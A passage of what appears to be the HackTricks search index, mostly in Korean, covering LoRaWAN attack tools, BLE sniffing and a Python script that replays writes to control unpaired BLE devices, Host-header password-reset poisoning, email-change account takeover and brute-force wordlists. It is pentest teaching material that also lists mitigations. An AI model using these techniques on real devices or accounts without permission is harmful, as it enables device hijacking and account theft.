감지될 때마다 광대역 칩을 트리거합니다 – ≤200 mW TX로 모든 확산 계수를 차단합니다; 2 km 범위에서 전체 중단이 측정됩니다.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 4. 반응형 재밍","id":"10441","title":"4. 반응형 재밍"},"10442":{"body":"도구 목적 비고 LoRaWAN 감사 프레임워크 (LAF) LoRaWAN 프레임 제작/구문 분석/공격, DB 기반 분석기, 브루트 포스 Docker 이미지, Semtech UDP 입력 지원 LoRaPWN OTAA를 브루트 포스하고, 다운링크를 생성하며, 페이로드를 복호화하는 Trend Micro Python 유틸리티 2023년 데모 출시, SDR 비독립적 LoRAttack USRP와 함께하는 다채널 스니퍼 + 재전송; PCAP/LoRaTap 내보내기 좋은 Wireshark 통합 gr-lora / gr-lorawan 기저대역 TX/RX를 위한 GNU Radio OOT 블록 사용자 정의 공격의 기초","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 공격 도구 (2025)","id":"10442","title":"공격 도구 (2025)"},"10443":{"body":"진정으로 무작위 DevNonce를 가진 OTAA 장치를 선호합니다; 중복을 모니터링합니다. LoRaWAN 1.1 을 시행합니다: 32비트 프레임 카운터, 구별된 FNwkSIntKey / SNwkSIntKey. 프레임 카운터를 비휘발성 메모리 ( ABP )에 저장하거나 OTAA로 마이그레이션합니다. 루트 키를 펌웨어 추출로부터 보호하기 위해 보안 요소 (ATECC608A/SX1262-TRX-SE)를 배포합니다. 원격 UDP 패킷 포워더 포트 (1700/1701)를 비활성화하거나 WireGuard/VPN으로 제한합니다. 게이트웨이를 업데이트 상태로 유지합니다; Kerlink/Dragino는 2024년 패치된 이미지를 제공합니다. 트래픽 이상 탐지 (예: LAF 분석기)를 구현합니다 – 카운터 리셋, 중복 조인, 갑작스러운 ADR 변경을 플래그합니다.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 방어 권장 사항 (펜테스터 체크리스트)","id":"10443","title":"방어 권장 사항 (펜테스터 체크리스트)"},"10444":{"body":"LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf Trend Micro LoRaPWN 개요 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » References","id":"10444","title":"References"},"10445":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » Pentesting BLE - Bluetooth Low Energy","id":"10445","title":"Pentesting BLE - Bluetooth Low Energy"},"10446":{"body":"Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range. BLE 장치는 advertising packets ( beacons )을 전송하여 통신하며, 이 패킷들은 주변 장치에 BLE 장치의 존재를 브로드캐스트합니다. 이러한 beacons는 때때로 send data 하기도 합니다. 리스닝 장치(또는 central device)는 특정 advertising 장치로 보낸 SCAN request 에 응답할 수 있습니다. 그 스캔에 대한 response 는 초기 advertising request에 들어가지 못한 추가 정보를 포함하여 advertising 패킷과 동일한 구조를 사용합니다. 예를 들어 전체 장치 이름이 그러한 추가 정보에 해당합니다. 프리앰블 바이트는 주파수를 동기화하며, 네 바이트의 access address는 여러 장치가 동일 채널에서 연결을 시도할 때 사용하는 connection identifier 입니다. 다음으로 Protocol Data Unit ( PDU )는 advertising data 를 포함합니다. PDU에는 여러 유형이 있으며, 가장 일반적으로 사용되는 것은 ADV_NONCONN_IND 및 ADV_IND입니다. 장치가 연결을 허용하지 않을 경우 ADV_NONCONN_IND PDU 유형을 사용하여 advertising 패킷에만 데이터를 전송합니다. 장치가 연결을 허용할 경우 ADV_IND 를 사용하며, connection 이 수립되면 advertising 패킷 전송을 중지합니다.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » Introduction","id":"10446","title":"Introduction"},"10447":{"body":"Generic Attribute Profile (GATT)은 device가 데이터를 어떻게 포맷하고 전송해야 하는지 를 정의합니다. BLE 장치의 공격 표면을 분석할 때 대부분 GATT(또는 GATTs)에 집중하게 되는데, 이는 장치 기능이 어떻게 트리거되는지와 데이터가 어떻게 저장되고 그룹화되며 수정되는지를 보여주기 때문입니다. GATT는 장치의 characteristics, descriptors, services를 16비트 또는 32비트 값으로 표 형태로 나열합니다. 하나의 characteristic 은 central device와 peripheral 사이에서 전송되는 데이터 값 입니다. 이러한 characteristics는 그들에 대한 추가 정보를 제공하는 descriptors 를 가질 수 있습니다. Characteristics 는 관련된 특정 동작을 수행하는 경우 services 로 그룹화되는 경우가 많습니다.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » GATT","id":"10447","title":"GATT"},"10448":{"body":"bash hciconfig #Check config, check if UP or DOWN\\n# If DOWN try:\\nsudo modprobe -c bluetooth\\nsudo hciconfig hci0 down && sudo hciconfig hci0 up # Spoof MAC\\nspooftooph -i hci0 -a 11:22:33:44:55:66","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » Enumeration","id":"10448","title":"Enumeration"},"10449":{"body":"GATTool 은 다른 장치와의 연결 을 설정 하고, 해당 장치의 특성 을 나열하며 속성을 읽고 쓸 수 있게 해준다.\\\\ GATTTool은 -I 옵션으로 대화형 셸을 실행할 수 있다: bash gatttool -i hci0 -I\\n[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful\\n[A4:CF:12:6C:B3:76][LE]> characteristics\\nhandle: 0x0002, char properties: 0x20, char value handle:\\n0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb\\nhandle: 0x0015, char properties: 0x02, char value handle:\\n0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb\\n[...] # Write data\\ngatttool -i -b --char-write-req -n \\ngatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n \\"04dc54d9053b4307680a\\"|xxd -ps) # Read data\\ngatttool -i -b --char-read -a 0x16 # Read connecting with an authenticated encrypted connection\\ngatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » GATTool","id":"10449","title":"GATTool"},"1045":{"body":"Reading time: 24 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Brute Force - CheatSheet » Brute Force - CheatSheet","id":"1045","title":"Brute Force - CheatSheet"},"10450":{"body":"bash # Start listening for beacons\\nsudo bettercap --eval \\"ble.recon on\\"\\n# Wait some time\\n>> ble.show # Show discovered devices\\n>> ble.enum # This will show the service, characteristics and properties supported # Write data in a characteristic\\n>> ble.write \\n>> ble.write ff06 68656c6c6f # Write \\"hello\\" in ff06","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » Bettercap","id":"10450","title":"Bettercap"},"10451":{"body":"저가형 BLE 주변기기 중 다수는 pairing/bonding을 강제하지 않습니다. bonding이 없으면 Link Layer encryption은 활성화되지 않으므로 ATT/GATT 트래픽은 평문으로 전송됩니다. off-path sniffer는 연결을 추적하고 GATT 연산을 디코딩하여 characteristic handles 및 values를 알아낼 수 있으며, 주변의 어떤 host도 연결해서 그 쓰기들을 replay하여 기기를 제어할 수 있습니다.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » Sniffing and actively controlling unpaired BLE devices","id":"10451","title":"Sniffing and actively controlling unpaired BLE devices"},"10452":{"body":"하드웨어: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) — NCC Group의 Sniffle 펌웨어로 재플래시됨. Linux에 Sniffle 및 Wireshark extcap을 설치: bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then\\necho \\"[+] - Sniffle not installed! Installing at 1.10.0...\\"\\nsudo mkdir -p /opt/sniffle\\nsudo chown -R $USER:$USER /opt/sniffle\\npushd /opt/sniffle\\nwget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz\\ntar xvf v1.10.0.tar.gz\\n# Install Wireshark extcap for user and root only\\nmkdir -p $HOME/.local/lib/wireshark/extcap\\nln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap\\nsudo mkdir -p /root/.local/lib/wireshark/extcap\\nsudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap\\npopd\\nelse\\necho \\"[+] - Sniffle already installed at 1.10.0\\"\\nfi Sonoff에 Sniffle firmware를 플래시하세요 (시리얼 장치가 일치하는지 확인하세요, 예: /dev/ttyUSB0): bash pushd /opt/sniffle/\\nwget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex\\ngit clone https://github.com/sultanqasim/cc2538-bsl.git\\ncd cc2538-bsl\\npython3 -m venv .venv\\nsource .venv/bin/activate\\npython3 -m pip install pyserial intelhex\\npython3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex\\ndeactivate\\npopd Wireshark에서 Sniffle extcap로 캡처하고 필터링하여 상태 변경 쓰기로 빠르게 pivot: text _ws.col.info contains \\"Sent Write Command\\" 이는 클라이언트로부터의 ATT Write Commands를 강조한다; 핸들(handle)과 값(value)은 종종 장치 동작에 직접 매핑된다(예: buzzer/alert characteristic에 0x01을 쓰면 알림, 0x00을 쓰면 중지). Sniffle CLI 빠른 예: bash python3 scanner.py --output scan.pcap\\n# Only devices with very strong signal\\npython3 scanner.py --rssi -40\\n# Filter advertisements containing a string\\npython3 sniffer.py --string \\"banana\\" --output sniff.pcap 대체 sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin도 작동합니다. 작은/저렴한 Nordic dongle에서는 보통 sniffer firmware를 로드하기 위해 USB bootloader를 덮어쓰므로, 전용 sniffer dongle을 따로 보관하거나 나중에 bootloader를 복구하기 위해 J-Link/JTAG이 필요합니다.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » Sniffing with Sniffle (CC26x2/CC1352)","id":"10452","title":"Sniffing with Sniffle (CC26x2/CC1352)"},"10453":{"body":"sniffed traffic에서 writable characteristic handle과 value를 확인했으면, 아무 central로 연결하여 동일한 write를 수행하세요: With Nordic nRF Connect for Desktop (BLE app): Select the nRF52/nRF52840 dongle, scan and connect to the target. Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level). Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop). Automate on Windows with a Nordic dongle using Python + blatann: python import time\\nimport blatann # CONFIG\\nCOM_PORT = \\"COM29\\" # Replace with your COM port\\nTARGET_MAC = \\"5B:B1:7F:47:A7:00\\" # Replace with your target MAC target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + \\",p\\") # CONNECT\\nble_device = blatann.BleDevice(COM_PORT)\\nble_device.configure()\\nble_device.open()\\nprint(f\\"[-] Connecting to {TARGET_MAC}...\\")\\npeer = ble_device.connect(target_address).wait()\\nif not peer:\\nprint(\\"[!] Connection failed.\\")\\nble_device.close()\\nraise SystemExit(1) print(\\"Connected. Discovering services...\\")\\npeer.discover_services().wait(5, exception_on_timeout=False) # Example: write 0x01/0x00 to a known handle\\nfor service in peer.database.services:\\nfor ch in service.characteristics:\\nif ch.handle == 0x000b: # Replace with your handle\\nprint(\\"[!] Beeping.\\")\\nch.write(b\\"\\\\x01\\")\\ntime.sleep(2)\\nprint(\\"[+] And relax.\\")\\nch.write(b\\"\\\\x00\\") print(\\"[-] Disconnecting...\\")\\npeer.disconnect()\\npeer.wait_for_disconnect()\\nble_device.close()","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » GATT를 통한 능동 제어","id":"10453","title":"GATT를 통한 능동 제어"},"10454":{"body":"안정적인 채널 호핑과 연결 추적을 위해 Linux에서 Sonoff+Sniffle 사용을 권장합니다. 예비용 Nordic sniffer를 백업으로 보관하세요. pairing/bonding 없이, 근처의 공격자는 writes를 관찰하고 unauthenticated writable characteristics에 대해 자신들의 writes를 replay/craft할 수 있습니다. 완화: pairing/bonding 요구 및 암호화 적용; characteristic permissions를 authenticated writes 요구로 설정; unauthenticated writable characteristics 최소화; Sniffle/nRF Connect로 GATT ACLs 검증.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » 운영 노트 및 완화","id":"10454","title":"운영 노트 및 완화"},"10455":{"body":"Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners Sniffle – A sniffer for Bluetooth 5 and 4.x LE Firmware installation for Sonoff USB Dongle (Sniffle README) Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P) Nordic nRF Sniffer for Bluetooth LE nRF Connect for Desktop blatann – Python BLE library for Nordic devices tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Pentesting BLE - Bluetooth Low Energy » References","id":"10455","title":"References"},"10456":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Test LLMs » Test LLMs","id":"10456","title":"Test LLMs"},"10457":{"body":"","breadcrumbs":"Test LLMs » Run & train models locally","id":"10457","title":"Run & train models locally"},"10458":{"body":"Hugging Face Transformers는 GPT, BERT 및 기타 여러 LLM을 사용하고 훈련하며 배포하는 데 가장 인기 있는 오픈 소스 라이브러리 중 하나입니다. 사전 훈련된 모델, 데이터셋 및 미세 조정 및 배포를 위한 Hugging Face Hub와의 원활한 통합을 포함하는 포괄적인 생태계를 제공합니다.","breadcrumbs":"Test LLMs » Hugging Face Transformers","id":"10458","title":"Hugging Face Transformers"},"10459":{"body":"LangChain은 LLM으로 애플리케이션을 구축하기 위해 설계된 프레임워크입니다. 개발자가 언어 모델을 외부 데이터 소스, API 및 데이터베이스와 연결할 수 있도록 합니다. LangChain은 고급 프롬프트 엔지니어링, 대화 기록 관리 및 LLM을 복잡한 워크플로에 통합하기 위한 도구를 제공합니다.","breadcrumbs":"Test LLMs » LangChain","id":"10459","title":"LangChain"},"1046":{"body":"구글에서 검색 하여 사용 중인 기술의 기본 자격 증명을 찾거나 다음 링크를 시도 하세요: https://github.com/ihebski/DefaultCreds-cheat-sheet http://www.phenoelit.org/dpl/dpl.html http://www.vulnerabilityassessment.co.uk/passwordsC.htm https://192-168-1-1ip.mobi/default-router-passwords-list/ https://datarecovery.com/rd/default-passwords/ https://bizuns.com/default-passwords-list https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv https://github.com/Dormidera/WordList-Compendium https://www.cirt.net/passwords http://www.passwordsdatabase.com/ https://many-passwords.github.io/ https://theinfocentric.com/","breadcrumbs":"Brute Force - CheatSheet » Default Credentials","id":"1046","title":"Default Credentials"},"10460":{"body":"LitGPT는 Lightning AI에서 개발한 프로젝트로, Lightning 프레임워크를 활용하여 GPT 기반 모델의 훈련, 미세 조정 및 배포를 용이하게 합니다. 다른 Lightning AI 도구와 원활하게 통합되어 대규모 언어 모델을 처리하기 위한 최적화된 워크플로를 제공합니다.","breadcrumbs":"Test LLMs » LitGPT","id":"10460","title":"LitGPT"},"10461":{"body":"설명: LitServe는 AI 모델을 신속하고 효율적으로 배포하기 위해 설계된 Lightning AI의 배포 도구입니다. LLM을 실시간 애플리케이션에 통합하는 것을 간소화하여 확장 가능하고 최적화된 서비스 기능을 제공합니다.","breadcrumbs":"Test LLMs » LitServe","id":"10461","title":"LitServe"},"10462":{"body":"Axolotl은 LLM을 포함한 AI 모델의 배포, 확장 및 관리를 간소화하기 위해 설계된 클라우드 기반 플랫폼입니다. 자동 확장, 모니터링 및 다양한 클라우드 서비스와의 통합과 같은 기능을 제공하여 광범위한 인프라 관리 없이도 프로덕션 환경에서 모델을 쉽게 배포할 수 있도록 합니다.","breadcrumbs":"Test LLMs » Axolotl","id":"10462","title":"Axolotl"},"10463":{"body":"","breadcrumbs":"Test LLMs » Try models online","id":"10463","title":"Try models online"},"10464":{"body":"Hugging Face 는 기계 학습을 위한 선도적인 플랫폼이자 커뮤니티로, 자연어 처리(NLP) 분야에서 특히 잘 알려져 있습니다. 기계 학습 모델을 개발, 공유 및 배포하는 데 도움이 되는 도구, 라이브러리 및 리소스를 제공합니다. 여러 섹션을 제공합니다: Models : 사용자가 텍스트 생성, 번역, 이미지 인식 등 다양한 작업을 위해 모델을 탐색하고 다운로드하며 통합할 수 있는 방대한 사전 훈련된 기계 학습 모델 저장소입니다. Datasets: 모델 훈련 및 평가에 사용되는 포괄적인 데이터셋 모음 입니다. 다양한 데이터 소스에 쉽게 접근할 수 있도록 하여 사용자가 특정 기계 학습 프로젝트에 필요한 데이터를 찾고 활용할 수 있게 합니다. Spaces: 인터랙티브 기계 학습 애플리케이션 및 데모를 호스팅하고 공유하기 위한 플랫폼입니다. 개발자가 모델을 실제로 보여주고, 사용자 친화적인 인터페이스를 만들며, 라이브 데모를 공유하여 다른 사람들과 협업할 수 있도록 합니다.","breadcrumbs":"Test LLMs » Hugging Face","id":"10464","title":"Hugging Face"},"10465":{"body":"TensorFlow Hub 는 Google에서 개발한 재사용 가능한 기계 학습 모듈의 포괄적인 저장소입니다. 기계 학습 모델, 특히 TensorFlow로 구축된 모델의 공유 및 배포를 용이하게 하는 데 중점을 둡니다. Modules: 사용자가 이미지 분류, 텍스트 임베딩 등과 같은 작업을 위해 모듈을 탐색하고 다운로드하며 통합할 수 있는 방대한 사전 훈련된 모델 및 모델 구성 요소의 모음입니다. Tutorials: 사용자가 TensorFlow Hub를 사용하여 모델을 구현하고 미세 조정하는 방법을 이해하는 데 도움이 되는 단계별 가이드 및 예제입니다. Documentation: 개발자가 저장소의 리소스를 효과적으로 활용하는 데 도움을 주는 포괄적인 가이드 및 API 참조입니다.","breadcrumbs":"Test LLMs » TensorFlow Hub & Kaggle","id":"10465","title":"TensorFlow Hub & Kaggle"},"10466":{"body":"Replicate 는 개발자가 간단한 API를 통해 클라우드에서 기계 학습 모델을 실행할 수 있도록 하는 플랫폼입니다. 광범위한 인프라 설정 없이 ML 모델을 쉽게 접근하고 배포할 수 있도록 하는 데 중점을 둡니다. Models: 사용자가 탐색하고 시도하며 최소한의 노력으로 애플리케이션에 모델을 통합할 수 있는 커뮤니티에서 기여한 기계 학습 모델의 저장소입니다. API Access: 개발자가 자신의 애플리케이션 내에서 모델을 쉽게 배포하고 확장할 수 있도록 하는 간단한 API입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Test LLMs » Replicate","id":"10466","title":"Replicate"},"10467":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Burp Suite » Burp Suite","id":"10467","title":"Burp Suite"},"10468":{"body":"간단한 목록: 각 줄에 항목이 포함된 목록 런타임 파일: 런타임에 읽는 목록(메모리에 로드되지 않음). 큰 목록을 지원하기 위해. 대소문자 수정: 문자열 목록에 일부 변경 사항 적용(변경 없음, 소문자, 대문자, 고유명사 - 첫 글자만 대문자, 나머지는 소문자-, 고유명사 - 첫 글자만 대문자, 나머지는 그대로-). 숫자: Z 단계 또는 무작위로 X에서 Y까지 숫자 생성. 브루트 포서: 문자 집합, 최소 및 최대 길이. https://github.com/0xC01DF00D/Collabfiltrator : 명령을 실행하고 burpcollab에 대한 DNS 요청을 통해 출력을 가져오는 페이로드. https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e https://github.com/h3xstream/http-script-generator tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Burp Suite » Basic Payloads","id":"10468","title":"Basic Payloads"},"10469":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Other Web Tricks » Other Web Tricks","id":"10469","title":"Other Web Tricks"},"1047":{"body":"대상에 대한 정보를 최대한 많이 찾아 사용자 정의 사전을 생성하세요. 도움이 될 수 있는 도구:","breadcrumbs":"Brute Force - CheatSheet » 자신만의 사전 만들기","id":"1047","title":"자신만의 사전 만들기"},"10470":{"body":"여러 번 백엔드는 Host header 를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 도메인으로 그 값을 사용할 수 있습니다 . 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면, 사용되는 도메인은 Host header에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. WriteUp . warning 사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. 왜냐하면 스팸 필터나 다른 중간 장치/봇이 이를 클릭하여 분석할 수 있기 때문입니다 .","breadcrumbs":"Other Web Tricks » Host header","id":"10470","title":"Host header"},"10471":{"body":"때때로 일부 검증을 올바르게 완료하면 백엔드는 보안 속성에 \\"True\\" 값을 가진 불리언을 추가합니다 . 그런 다음, 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다. 그러나 검사를 통과 하고 세션이 보안 속성에서 \\"True\\" 값을 부여받으면, 접근 권한이 없어야 하는 다른 리소스에 접근을 시도할 수 있습니다 . WriteUp .","breadcrumbs":"Other Web Tricks » Session booleans","id":"10471","title":"Session booleans"},"10472":{"body":"이미 존재하는 사용자로 등록해 보세요. 또한 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.","breadcrumbs":"Other Web Tricks » Register functionality","id":"10472","title":"Register functionality"},"10473":{"body":"이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.","breadcrumbs":"Other Web Tricks » Takeover emails","id":"10473","title":"Takeover emails"},"10474":{"body":"Jira Service Management","breadcrumbs":"Other Web Tricks » Access Internal servicedesk of companies using atlassian","id":"10474","title":"Access Internal servicedesk of companies using atlassian"},"10475":{"body":"개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP TRACE 메서드는 진단 목적으로 설계되었습니다. 활성화되면, 웹 서버는 TRACE 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다. Image for post Image for post tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Other Web Tricks » TRACE method","id":"10475","title":"TRACE method"},"10476":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Android Forensics » 안드로이드 포렌식","id":"10476","title":"안드로이드 포렌식"},"10477":{"body":"안드로이드 장치에서 데이터를 추출하려면 장치가 잠금 해제되어야 합니다. 잠금 상태인 경우 다음을 수행할 수 있습니다: USB를 통한 디버깅이 활성화되어 있는지 확인합니다. 가능한 스머지 공격 을 확인합니다. 브루트 포스 로 시도해 봅니다.","breadcrumbs":"Android Forensics » 잠금 장치","id":"10477","title":"잠금 장치"},"10478":{"body":"adb를 사용하여 안드로이드 백업을 생성 하고 Android Backup Extractor 를 사용하여 추출합니다: java -jar abe.jar unpack file.backup file.tar","breadcrumbs":"Android Forensics » 데이터 수집","id":"10478","title":"데이터 수집"},"10479":{"body":"cat /proc/partitions (플래시 메모리의 경로를 검색합니다. 일반적으로 첫 번째 항목은 _mmcblk0_이며 전체 플래시 메모리에 해당합니다). df /data (시스템의 블록 크기를 확인합니다). dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (블록 크기에서 수집한 정보를 사용하여 실행합니다).","breadcrumbs":"Android Forensics » 루트 접근 또는 JTAG 인터페이스에 물리적 연결이 있는 경우","id":"10479","title":"루트 접근 또는 JTAG 인터페이스에 물리적 연결이 있는 경우"},"1048":{"body":"bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet\\ncrunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters\\n, Upper case alpha characters\\n% Numeric characters\\n^ Special characters including spac\\ncrunch 6 8 -t ,@@^^%%","breadcrumbs":"Brute Force - CheatSheet » 